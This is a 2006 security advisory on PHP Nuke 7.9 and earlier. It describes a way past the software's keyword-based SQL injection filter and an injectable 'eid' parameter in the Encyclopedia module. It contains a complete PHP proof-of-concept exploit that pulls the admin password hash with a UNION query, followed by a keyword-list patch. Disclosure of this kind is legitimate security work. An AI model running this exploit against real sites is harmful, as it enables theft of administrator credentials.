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PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-



-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-
-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-



/*
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[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22
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Program: PHP Nuke
Homepage: http://www.php.net 
Vulnerable Versions: PHP Nuke <= 7.9
Risk: High!
Impact: Critical Risk

-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-
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- Description
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PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases.

- Tested
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localhost & many sites

- Vulnerability Description
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The most important and critical vulnerability is in the code designed to filter the POST inputs to protect the script against
 SQL Injections.


==[ mainfile.php 143-146 ]=========================[...]
if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
header("Location: index.php");
die();
}
[...]
==[ end mainfile.php ]=============================
The protection is very good... but we can bypass it by using something like '/**/UNION ' or ' UNION/**/' ;)

Also i found a SQL Injection vulnerability in the Encyclopedia module. The "eid" variable isn't filtered at any moment, so if
 we bypass the sql injection protection we can execute arbitrary sql commands. With a simple UNION statement we get the 
md5 hash of the admin password.

Here is the real life Proof of Concept exploit.

==Real Proof of Concept exploit=http://www.neosecurityteam.net 

*/

$host="localhost";
$path="/phpnuke/";
$prefix="nuke_";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors WHERE '1'='1";

if ($fp) {
    $p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n";
    $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n";
$p.="Referer: http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n"; 
    $p.="Accept-Language: es-ar\r\n";
    $p.="Content-Type: application/x-www-form-urlencoded\r\n";
    $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
    $p.="Host: localhost\r\n";
    $p.="Content-Length: ".strlen($data)."\r\n";
    $p.="Pragma: no-cache\r\n";
    $p.="Connection: keep-alive\r\n\r\n";
    $p.=$data;
    
    fwrite($fp, $p);
    
    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

    print_r($matches);
}
?>
==Real Proof of Concept exploit=
Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.

- How to fix it? More information?
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You can found a patch on http://www.neosecurityteam.net/foro/ 

Also, you can modify the line 143 of mainfile.php, adding one more protection like:

==[ mainfile.php old line (143) ]=========================[...]
if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) {
}
[...]
==[ end mainfile.php ]====================================
==[ mainfile.php new line (143) ]=========================[...]
if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64, 
'*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {
}
[...]
==[ end mainfile.php ]====================================
That's a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days... it is not 
free at the moment.

- References
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http://www.neosecurityteam.net/index.php?action=advisories&id=27 

- Credits
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Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail [dot] com
SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com
Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com

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